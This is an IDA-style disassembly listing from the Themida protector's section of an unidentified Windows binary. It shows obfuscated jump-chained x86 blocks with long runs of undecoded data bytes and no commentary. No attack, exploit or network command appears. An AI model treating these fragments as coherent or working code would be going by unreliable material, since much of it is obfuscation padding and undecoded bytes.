loc_56FF5F:				; CODE XREF: Themida_:0056D1A0j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56B1E8
; ---------------------------------------------------------------------------
		db 0BBh, 17h, 21h
		dd 0ADE91C65h, 89000010h, 4511E9E3h, 0EB81FFFFh, 100E4ED5h
		dd 0FF80EAE9h, 6E950FFh, 53FFFFBFh, 0A14DEABBh,	90EB812Ah
		dd 318D4C25h, 1F1DE9DEh, 0E959FFFFh, 1C8Bh, 247C015Bh
		dd 1C8B5F04h, 0B89FE924h, 48FFFFFh, 1129E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FFCE:				; CODE XREF: Themida_:00571196j
		inc	ebx
		jmp	loc_56C163
; ---------------------------------------------------------------------------
		dd 5AD62959h, 348BF031h, 4C48124h, 68000000h, 5F58h, 68243C89h
		dd 23C3h, 0BD242C89h, 16310EA1h, 6ABB68h, 242C8900h, 0FFDD51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570005:				; CODE XREF: Themida_:0056DBB5j
		sub	eax, 5A023494h
		add	eax, ebp
		add	eax, 5A023494h
		add	eax, 90160FFh
		jmp	loc_55E6CC
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C6h, 0B2E95C24h, 0F7000024h, 81592414h, 6DBAC2F1h
		dd 52C681F2h, 1734C2Dh,	1E85E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57003E:				; CODE XREF: Themida_:0056F1D2j
		push	eax
		push	ebx
		mov	ebx, 6F284F20h
		push	eax
		jmp	loc_571AFE
; ---------------------------------------------------------------------------
		db 0F6h
		dd 76CB80D3h, 0C3FEDBF6h, 351068h, 240C8900h, 0E180D2B1h
		dd 86C1FE49h, 86D2F6D1h, 0EBF180D1h, 0E959CB30h, 0E02h
; ---------------------------------------------------------------------------


loc_570074:				; CODE XREF: Themida_:0056A8C5j
		mov	ecx, 46436108h
		push	eax
		mov	eax, esp
		jmp	loc_564445
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 5521E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57008E:				; CODE XREF: Themida_:0055F666j
		push	edx
		jmp	loc_56F219
; ---------------------------------------------------------------------------
		dd 0DE1EC781h, 0F93124EEh, 6851565Fh, 7FC302Dh,	0C3C18159h
		dd 8151483Bh, 37A216C1h, 8BCE89ECh, 0C481240Ch,	4, 0FEF2DBE9h
		dd 0C8B66FFh, 885BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5700CA:				; CODE XREF: Themida_:00562CDBj
		test	cx, ax
		pushf
		jmp	loc_566CC7
; ---------------------------------------------------------------------------
		db 81h
		dd 3F487BC7h, 7DA2E916h, 0B951FFFFh, 33814D6Bh,	0FFD1E5E9h
		dd 2434FFFFh, 4C4835Bh,	0FEF4B1E9h, 0E9F488FFh,	0FFFF1038h
; ---------------------------------------------------------------------------


loc_5700FC:				; CODE XREF: Themida_:00569141j
		push	esi
		jmp	loc_561CA0
; ---------------------------------------------------------------------------
		dw 5F59h
		dd 0E92434FFh, 0FFFF9A8Eh, 135468h, 24348900h, 0B9515053h
		dd 7C9628Ch, 24048151h,	169A7147h, 0DD0E958h, 0EA83FFFFh
		dd 24148704h, 0E924248Bh, 0FFFF2453h, 3E7BF181h, 0F1814D93h
		dd 0E2E126B3h, 0E959CB01h, 0FFFF6A80h, 0AF168h,	24248900h
		dd 4240481h, 0E9000000h, 0FFFFB4BFh
; ---------------------------------------------------------------------------


loc_570160:				; CODE XREF: Themida_:00561CB6j
		xor	edx, esi
		pop	esi
		push	620Bh
		mov	[esp], edx
		jmp	loc_563A16
; ---------------------------------------------------------------------------


loc_570170:				; CODE XREF: Themida_:00567C94j
		mov	ebx, edi
		pop	edi
		sub	esi, 7E5B3A13h
		sub	esi, 6CF0354h
		sub	esi, 2A250227h
		sub	esi, ebx
		add	esi, 2A250227h
		add	esi, 6CF0354h
		push	edi
		push	34AD3DCEh
		pop	edi
		not	edi
		and	edi, 2FF85D88h
		push	ebp
		mov	ebp, 57B47557h
		sub	ebp, 58B75F77h
		and	ebp, 14D32B58h
		dec	ebp
		neg	ebp
		add	ebp, 668F4B37h
		add	ebp, 214CB01Bh
		add	edi, ebp
		jmp	loc_56E81E
; ---------------------------------------------------------------------------


loc_5701CA:				; CODE XREF: Themida_:00570502j
		pop	eax
		jmp	loc_56EA10
; ---------------------------------------------------------------------------


loc_5701D0:				; CODE XREF: Themida_:00560BE7j
		sub	ebp, 4923666Ch
		mov	edi, [esp]
		jmp	loc_571A28
; ---------------------------------------------------------------------------


loc_5701DE:				; CODE XREF: Themida_:0055E79Cj
		xor	esi, 58EB554Bh
		mov	edx, esi
		jmp	loc_5718CC
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0FF5EAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5701F9:				; CODE XREF: Themida_:005718BDj
		and	dh, 8Dh
		xor	dh, 0B3h
		add	dh, 1
		xor	dh, 57h
		add	bh, dh
		pop	edx
		xor	bh, 0FDh
		add	al, bh
		pop	ebx
		push	251Dh
		mov	[esp], ebx
		mov	bl, 6Ch
		sub	al, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	bx
		push	443h
		mov	[esp], ecx
		jmp	loc_5705C6
; ---------------------------------------------------------------------------


loc_570233:				; CODE XREF: Themida_:0056CABCj
		inc	esi
		or	esi, 48962B9Ah
		shl	esi, 6
		sub	esi, 0D519968Fh
		sub	eax, esi
		jmp	loc_561B42
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 4240481h,	0E9000000h, 0FFFF3274h,	88B6EF80h
		dd 0CB005BF9h, 0D8005966h, 0E92434FFh, 0FFFF0753h
; ---------------------------------------------------------------------------


loc_570270:				; CODE XREF: Themida_:0056B642j
		push	38A8h
		mov	[esp], ecx
		xor	dword ptr [esp], 47686B9Ch
		pop	eax
		xor	eax, 47686B9Ch
		jmp	loc_56C1A0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 31E95455h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570297:				; CODE XREF: Themida_:0055E1DEj
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		and	eax, esi
		jmp	loc_571DC9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 30FF6604h, 0FED03CE9h, 386B8FFh,	0E9487E3Dh
		dd 0FFFF37CCh
; ---------------------------------------------------------------------------


loc_5702BC:				; CODE XREF: Themida_:0056419Dj
		mov	[esp], ecx
		push	esi
		push	24EC2F89h
		jmp	loc_560294
; ---------------------------------------------------------------------------
aLS_0		db '▀$$И](',0
		align 2
		dw 8966h
		dd 6866240Ch, 8966438Bh, 8B66242Ch, 0EC81240Ch,	4, 89240C89h
		dd 4C181E1h, 83000000h,	6BE902C1h, 5CFFFEEEh, 815D5455h
		dd 4C5h, 59E95000h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57030B:				; CODE XREF: Themida_:00561B88j
		add	esp, 4
		sub	eax, 2D1470AFh
		pop	esi
		xor	eax, edi
		jmp	loc_562873
; ---------------------------------------------------------------------------


loc_57031E:				; CODE XREF: Themida_:0055FFFAj
		add	ebp, 61A252CAh
		add	ebp, edi
		sub	ebp, 61A252CAh
		jmp	loc_56F3BE
; ---------------------------------------------------------------------------


loc_570331:				; CODE XREF: Themida_:0056D2C9j
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_568F88
; ---------------------------------------------------------------------------
		dd 0C381F301h, 493E27C6h, 7A5C381h, 34FF704Ah, 0B06E924h
		dd 0F757FFFFh, 535F2414h, 862EE7BBh, 5E3C169h, 4B06E3C1h
		dd 54CEEB81h, 0DF2997AFh, 0FFCC09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570371:				; CODE XREF: Themida_:0056C61Aj
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_570660
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 685E0000h, 6675h, 0B9240C89h, 3C91D4Dh, 34FFC831h
		dd 2434FF24h, 4C48159h,	56000000h, 0C681E689h, 4, 0FEEBADE9h
		dd 0F4BE56FFh, 89CBFEAEh, 24348BF0h, 0FF15C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703C1:				; CODE XREF: Themida_:005602DCj
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_564B3E
; ---------------------------------------------------------------------------


loc_5703D2:				; CODE XREF: Themida_:0056C6BCj
		add	esp, 4
		jmp	loc_562342
; ---------------------------------------------------------------------------
		dw 5066h
		dd 2EC81h, 89660000h, 6866241Ch, 8B6657BFh, 0C481241Ch
		dd 2, 0FF6E49E9h, 367BB9FFh, 0C82909EBh, 0FF88E4E9h, 0E9F828FFh
		dd 0FFFFEE9Eh, 4EC81h, 1C890000h, 0B2E95024h, 5DFFFF20h
		dd 2C1C581h, 0C5E932FCh, 5EFFFF39h, 0E904C483h,	0FFFED634h
		dd 83240C8Bh, 0FAE904C4h, 81FFFFDAh, 5B7D71F7h,	524E97Fh
		dd 5357FFFFh, 0AE3D26BBh, 0B988BF61h, 0DF29A49Ah, 0FFAC25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570459:				; CODE XREF: Themida_:005724F2j
		dec	edx
		add	edx, 5A7239E6h
		add	ebp, edx
		pop	edx
		jmp	loc_5727E2
; ---------------------------------------------------------------------------


loc_570468:				; CODE XREF: Themida_:00560CBFj
		mov	edi, 445362B1h
		sub	ebp, edi
		pop	edi
		add	ebp, eax
		add	ebp, 445362B1h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, ebp
		jmp	loc_568100
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0FCEE908h, 55580000h, 42474FFh, 24048F5Dh, 0D8A1E95Ch
		dd 0FAB9FFFFh, 165394Bh, 24048BC1h, 4C481h, 5DE90000h
		dd 1FFFEDFh, 0EA6857C2h, 5F146E1Fh, 1C72BB53h, 0DA01097Eh
		dd 81FA295Bh, 7E1C72EAh, 0DA96E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5704D2:				; CODE XREF: Themida_:005693E7j
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		push	4
		pop	eax
		add	edi, eax
		jmp	loc_5701CA
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954241Ch, 0FFFEEA0Eh, 4240481h, 0E9000000h, 0FFFFD0FEh
		dd 0E9E38953h, 0FFFF6DB0h, 4B9h, 244C0100h, 195CE904h
		dd 2D59FFFFh, 1A082E91h, 0BD55F801h, 1A082E91h,	3A060205h
		dd 0E9E8015Bh, 0FFFF33E9h, 2FBE5642h, 81697107h, 76AF7AEEh
		dd 5EF20102h, 0D667F281h, 0EFE967EFh
		db 0D9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570567:				; CODE XREF: Themida_:005651C0j
		pop	esp
		jmp	loc_5636B8
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 0E981D101h, 3A115D8Bh, 4BF575Ah, 1000000h, 0EA1FE9F9h
		dd 0D3F7FFFEh, 8104EBC1h, 0D44157C3h, 0D0EB814Ch, 525B6B7Fh
		dd 6A1427BAh, 5AD10108h, 0E952D901h, 0FFFFA4ACh, 78E0C181h
		dd 0CA01FF5Fh, 81240C8Bh, 4C4h,	52575600h, 6E6FBABAh, 0F098E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5705C6:				; CODE XREF: Themida_:0057022Ej
		push	eax
		mov	ah, 80h
		push	dx
		mov	dh, ah
		not	dh
		mov	ah, dh
		pop	dx
		jmp	loc_570CF1
; ---------------------------------------------------------------------------
		dd 1F2CF000h, 0C3305A66h, 0FF2949E9h, 2474FFFFh, 2434FF04h
		dd 8324048Bh, 52E904C4h, 1FFFFD7h, 5A5452EBh, 4C281h, 54E90000h
		dd 54FFFEFAh, 4B9515Ah,	1000000h, 0EA8359CAh, 24148704h
		dd 8924248Bh, 6851243Ch, 3CA9698Eh, 59CF8959h, 4247C29h
		dd 50243C8Bh, 82AEE954h, 0B2E9FFFFh
		db 0CCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57063B:				; CODE XREF: Themida_:005660C6j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 0E790BBAh
		add	ebx, 0F186F446h
		jmp	loc_5622B2
; ---------------------------------------------------------------------------


loc_570651:				; CODE XREF: Themida_:0056EBB0j
		inc	dl
		add	dl, 1
		xor	dl, 42h
		sub	al, dl
		jmp	loc_56ABEA
; ---------------------------------------------------------------------------


loc_570660:				; CODE XREF: Themida_:00570378j
		add	esp, 4
		push	esi
		jmp	loc_56B7C3
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 241C8700h, 0E924248Bh, 0FFFECC6Dh
; ---------------------------------------------------------------------------


loc_570680:				; CODE XREF: Themida_:005618B1j
		add	edx, ebp
		pop	ebp
		xor	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_56BD6B
; ---------------------------------------------------------------------------


loc_5706AD:				; CODE XREF: Themida_:0056F51Cj
		pop	ecx
		mov	esi, [esp]
		jmp	loc_56DF53
; ---------------------------------------------------------------------------
		dw 18BAh
		dd 29246B64h, 0F74F5AD7h, 92C781D7h, 0E91592FBh, 0FFFF1B2Eh
; ---------------------------------------------------------------------------


loc_5706CC:				; CODE XREF: Themida_:0056DA0Ej
		mov	[esp], esi
		jmp	loc_570F28
; ---------------------------------------------------------------------------
		dd 578EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706DA:				; CODE XREF: Themida_:0056C76Ej
		push	ebp
		jmp	loc_56F32E
; ---------------------------------------------------------------------------
		dd 33240431h, 895C2404h, 93BF243Ch, 0E9488727h,	85Bh, 0E9241C33h
		dd 1373h, 8324348Bh, 0FD6804C4h, 89000062h, 4BD242Ch, 1000000h
		dd 2434FFE8h, 4C4815Dh,	68000000h, 1B84h, 0FF240489h, 8B042474h
		dd 0DA682404h, 8900000Bh, 0E789243Ch, 4C781h, 0C7830000h
		dd 243C8704h, 0D2CDE95Ch, 8357FFFFh, 8F5404ECh,	0B9512404h
		dd 4, 4244C01h,	81240C8Bh, 4C4h, 0BD555F00h, 4,	0FFC22DE9h
		dd 240C8BFFh, 8104C483h, 0EE373DF1h, 20F18119h,	89038D20h
		dd 240C8BCFh, 0E904C483h, 0FFFF275Ah, 871C8858h, 0E92434FFh
		dd 0FFFEF7CDh, 57CD0159h, 5878E9BFh, 69ED817Ah,	291E6408h
		dd 69C581FDh, 0E91E6408h, 0FFFF972Dh, 0BF243C89h, 2A19773Ah
		dd 5A16855h, 2C8B2652h,	4C48324h, 34FFEF21h, 82C4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5707D2:				; CODE XREF: Themida_:0055FE4Dj
		xor	edx, ebx
		jmp	loc_55F1BD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 54240489h,	0FFD81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5707E9:				; CODE XREF: Themida_:0056F532j
		shl	ebp, 5
		jmp	loc_5617F2
; ---------------------------------------------------------------------------
		db 30h,	0E2h, 66h
		dd 5AD08858h, 0FF0181E9h, 0B6C281FFh, 594F5201h, 761DBB53h
		dd 0CB813219h, 586F2506h, 29E3814Bh, 0F7304C7Dh, 8EB4E9D3h
		dd 5B54FFFFh, 489068h, 242C8900h, 0FFF478E9h, 0E6C15DFFh
		dd 8E6C106h, 0E907E6C1h, 0FFFF73EDh, 4EC83ACh, 0E9241C89h
		dd 0E46h, 405h,	4C08300h, 5C240487h, 3411EA81h,	8EE90248h
		dd 0E9FFFECAh, 0FFFECA89h, 0B8240489h, 4, 38E9C201h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570873:				; CODE XREF: Themida_:00560A74j
		add	esp, 4
		push	6E37h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	5670h
		mov	[esp], edx
		mov	edx, 6BB41B56h
		jmp	loc_570C79
; ---------------------------------------------------------------------------
		dd 1419E95Ah, 0BA52FFFFh, 1, 575AD529h,	0FB2B20BFh, 5FFD014Dh
		dd 4F30CD81h, 0F75566E9h, 34FF2414h, 0C4835D24h, 0BB18E904h
		dd 454DFFFFh, 7083CD81h, 5C683091h, 8900000Bh, 0EC81240Ch
		dd 4, 0BE243489h, 3E377F93h, 348BF189h,	4C48324h, 0FFE23DE9h
		dd 5DEB09FFh, 0B8FEB81h, 0CE91378h, 8100000Fh, 6898242Ch
		dd 5587C87h, 7C876898h,	0E924148Bh, 0FFFF47C0h
; ---------------------------------------------------------------------------


loc_570918:				; CODE XREF: Themida_:0055FAA5j
		mov	edx, ebx
		pop	ebx
		jmp	loc_568D51
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFEC9C5h, 7061ED81h, 0DD01482Ah, 7061C581h
		dd 84E9482Ah, 87FFFF6Fh, 835C241Ch, 0BA5204C4h,	4, 0FF1CAAE9h
		dd 4C483FFh, 58768h, 24148900h,	401068h, 241C8900h, 24048150h
		dd 305B2AF0h, 10D1E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57096E:				; CODE XREF: Themida_:00561FB0j
		and	esi, 3BA50E0Ch
		shr	esi, 7
		shr	esi, 5
		push	ebx
		mov	ebx, 1AA14h
		xor	esi, ebx
		pop	ebx
		add	ebx, esi
		pop	esi
		push	edx
		push	ebx
		mov	ebx, 7626596Fh
		jmp	loc_56D934
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 24348B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55FE74
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 88h
		dd 81FFFFA3h, 1E1111EFh, 5FF889EFh, 0D0F7D8F7h,	0FF1290E9h
		dd 154268FFh, 72E90000h, 0C1FFFFD1h, 0BD5507E3h, 8221C826h
		dd 0ECE9EB01h, 89FFFF8Dh, 0E952240Ch, 0FFFF7BFDh, 6EE9DA89h
		dd 56FFFF8Eh, 254DC6BEh, 0E9F52926h, 0FFFED88Ch
; ---------------------------------------------------------------------------


loc_570A00:				; CODE XREF: Themida_:0056C0DFj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56832B
; ---------------------------------------------------------------------------
		db 0B6h
		dd 2B759h, 0C7805AF7h, 8BF828B9h, 0C481241Ch, 4, 0FEDA01E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570A25:				; CODE XREF: Themida_:0056F234j
		xor	esi, edi
		jmp	loc_571ED5
; ---------------------------------------------------------------------------
		dd 1877C88h, 53241C8Bh,	0E952E389h, 0FFFF0594h,	0BF243C89h
		dd 0DA4AC9DEh, 15FFD01h, 242C8BEEh, 4C481h, 34330000h
		dd 24343124h, 8B243433h, 0CD32424h, 86E99C24h, 0BFFFFEC8h
		dd 95B014Ch, 1B8C781h, 0EF813240h, 781D65C2h, 72BFEF81h
		dd 0C7813ECEh, 0ADEAE33Fh, 3BEC781h, 2DE93993h,	50FFFEFCh
		dd 31022EB8h, 58C20108h, 0FF403AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570A9D:				; CODE XREF: Themida_:00568593j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_569ADE
; ---------------------------------------------------------------------------


loc_570AA9:				; CODE XREF: Themida_:0056EC27j
		push	1B49h
		jmp	loc_55DB6E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FFC38100h, 43FFFFFFh,	0FEF476E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570AC5:				; CODE XREF: Themida_:0056E6D8j
		sub	eax, 2D4C68AEh
		jmp	loc_568B5A
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 242C8904h, 38D6B850h, 8953417Eh,	4C381E3h
		dd 81000000h, 4EBh, 0FB41E900h,	34FFFFFEh, 24048B24h, 5004C483h
		dd 405E089h, 0E9000000h, 0FFFFE4B7h, 0EE5F0168h, 0E94A5A08h
		dd 0FFFEFB64h, 4245C01h, 117CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570B1E:				; CODE XREF: Themida_:0056A5A4j
		mov	[esp], edi
		mov	edi, 4
		add	edx, 4528760Dh
		add	edx, edi
		jmp	loc_56DEAB
; ---------------------------------------------------------------------------


loc_570B33:				; CODE XREF: Themida_:0055EAE3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_563B11
; ---------------------------------------------------------------------------


loc_570B4A:				; CODE XREF: Themida_:0056D483j
		mov	edx, 7ABB73AAh
		and	edx, 0C036648h
		inc	edx
		neg	edx
		dec	edx
		sub	edx, 0F7FC9DF2h
		jmp	loc_55DE42
; ---------------------------------------------------------------------------


loc_570B64:				; CODE XREF: Themida_:0055F475j
		sub	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56A3A8
; ---------------------------------------------------------------------------
		dw 76E9h
		dd 89FFFEC7h, 93E9241Ch, 59FFFFB8h, 0FFBCB5E9h,	59EE00FFh
		dd 0F689B353h, 6EBC0D3h, 0EB80CBFEh, 6DC380E5h,	5BD828h
		dd 1AD2E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570BA2:				; CODE XREF: Themida_:00560DE0j
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 3E5C34FBh
		add	edx, esi
		jmp	loc_571A4F
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C7h
		dd 4, 5C243C87h, 8B24048Fh, 0C892424h, 1A3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570BCE:				; CODE XREF: Themida_:0055DF74j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_566DA5
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 242C8155h, 11527A71h, 71C2815Ah, 8B11527Ah, 0E5E9242Ch
		dd 0B5FFFF31h, 0E9E828A6h, 0FFFEFF89h, 9C241CF6h, 8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_570C11:				; CODE XREF: Themida_:0056C7C4j
		mov	ebx, 24h
		add	ebx, edi
		jmp	loc_55E106
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 49h
		dd 8071C280h, 4AE9AEEAh
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570C2B:				; CODE XREF: Themida_:0056BEA0j
		pop	ecx
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_568B2E
; ---------------------------------------------------------------------------


loc_570C39:				; CODE XREF: Themida_:0055D924j
		sub	edx, 5186D67h
		and	edx, 79D948B8h
		add	edx, 57664B5Fh
		add	edx, 0D12FEEB6h
		jmp	loc_562115
; ---------------------------------------------------------------------------


loc_570C56:				; CODE XREF: Themida_:0056E99Cj
		push	edx
		mov	edx, 4A5B0BF2h
		dec	edx
		sub	edx, 731A45C5h
		shr	edx, 4
		jmp	loc_56FD5A
; ---------------------------------------------------------------------------


loc_570C6B:				; CODE XREF: Themida_:0055E3FEj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_572331
; ---------------------------------------------------------------------------


loc_570C79:				; CODE XREF: Themida_:00570897j
		and	edx, 42C53B12h
		sub	edx, 4B8C4454h
		sub	edx, 2D8F32F2h
		shr	edx, 2
		and	edx, 6BC73736h
		xor	edx, 39FF5FE0h
		jmp	loc_56B9F6
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEC649h, 0E901C683h, 0FFFF3703h
; ---------------------------------------------------------------------------


loc_570CAC:				; CODE XREF: Themida_:0055EB88j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_562E91
; ---------------------------------------------------------------------------
		db 0FEh
		dd 6EBC0CBh, 8028EB80h,	0C580D3F3h, 67CCE9B2h, 489FFFFh
		dd 0B3535224h, 0E9DE8853h, 0B4Ch
; ---------------------------------------------------------------------------


loc_570CDC:				; CODE XREF: Themida_:00572351j
		xchg	ebp, [esp]
		jmp	loc_5652E4
; ---------------------------------------------------------------------------
		dd 0BB53D2F7h, 6CCF669Fh, 0F85E9h
		db 0
; ---------------------------------------------------------------------------


loc_570CF1:				; CODE XREF: Themida_:005705D3j
		inc	ah
		not	ah
		add	ah, 7
		not	ah
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_566AEA
; ---------------------------------------------------------------------------
		dw 8EB8h
		dd 2D0BF554h, 77CB42F7h, 0FF8A2EE9h, 241C89FFh,	0A4E9E389h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D1F:				; CODE XREF: Themida_:0056EC89j
		shr	ebp, 1
		or	ebp, 20A777ACh
		jmp	loc_561861
; ---------------------------------------------------------------------------
		dd 23C5055Fh, 0E8293A48h, 4823C52Dh, 242C8B3Ah,	4C481h
		dd 89530000h, 4C381E3h,	57000000h, 169FBE56h, 0F6817413h
		dd 0EFA190Dh, 71C68146h, 898516F0h, 53FE9F7h, 0E981FFFFh
		dd 10045C7Dh, 0FFE99CE9h, 0C577E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570D76:				; CODE XREF: Themida_:0056F77Aj
		xor	dword ptr [ebx], 109459E2h
		pop	ebx
		push	0EA6h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 0AF16471h
		jmp	loc_568CF4
; ---------------------------------------------------------------------------


loc_570D90:				; CODE XREF: Themida_:0056EB71j
		shr	ecx, 4
		add	ecx, 54813456h
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		add	edx, 5C8D70D6h
		pop	ebp
		sub	edx, 36D66C30h
		jmp	loc_56897D
; ---------------------------------------------------------------------------
		dd 802DC380h, 0B25251EBh, 8BD32855h, 0C4812414h, 4, 0FF7832E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570DC9:				; CODE XREF: Themida_:00564843j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	22B6h
		mov	[esp], ecx
		jmp	loc_56768D
; ---------------------------------------------------------------------------


loc_570DE7:				; CODE XREF: Themida_:0056A7BFj
		and	ch, 4
		sub	ch, 94h
		add	al, 93h
		jmp	loc_571354
; ---------------------------------------------------------------------------


loc_570DF4:				; CODE XREF: Themida_:00566D69j
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_567F96
; ---------------------------------------------------------------------------


loc_570E0A:				; CODE XREF: Themida_:00572AF0j
		pop	eax
		jmp	loc_56F16F
; ---------------------------------------------------------------------------
		dd 813877FFh, 51F82404h, 0A8E97412h, 5EFFFFA6h,	0E38FC781h
		dd 0FB313295h, 0E4C7815Fh, 29465E7Eh, 0E4EF81DFh, 5B465E7Eh
		dd 391BCB05h, 2DF8292Dh, 2D391BCBh, 2404875Fh, 0C89665Ch
		dd 40DE924h, 0EB810000h, 1A95055Fh, 0C381EB01h,	1A95055Fh
		dd 0C0B8505Dh, 3561EC66h, 59F37FC7h, 0E8FCA42Dh, 0E5A4E920h
		dd 0D3F6FFFEh, 0C0FEC386h, 0EC81C386h, 2, 240C8966h, 0FF2EF5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E8D:				; CODE XREF: Themida_:00568E10j
		push	esi
		mov	esi, 49DE2BC3h
		mov	edx, 9AA6FCAAh
		add	edx, esi
		jmp	loc_56A743
; ---------------------------------------------------------------------------


loc_570E9F:				; CODE XREF: Themida_:00571CC4j
		push	ebp
		mov	ebp, 57D013A4h
		jmp	loc_56920A
; ---------------------------------------------------------------------------
		dw 5A5Ah
		dd 3F046851h, 7FE94126h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570EB7:				; CODE XREF: Themida_:0055D312j
		pop	edi
		xor	eax, 4864082h
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 32B47E06h
		add	edi, edx
		jmp	loc_5607FA
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0E3h
		dd 513CD15Ch, 7E0962B9h, 2CC18179h, 0E9A17A1Eh,	0FFFF45D9h
		dd 0E95DE801h, 0FFFF64BDh, 74FF565Fh, 8F5E0424h, 248B2404h
		dd 2434FF24h, 0ECF7E958h, 6845FFFEh, 72EAh, 0BA241489h
		dd 46886A12h, 0FEDB2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F1D:				; CODE XREF: Themida_:0056C041j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56052A
; ---------------------------------------------------------------------------


loc_570F28:				; CODE XREF: Themida_:005706CFj
		mov	esi, 0A563E050h
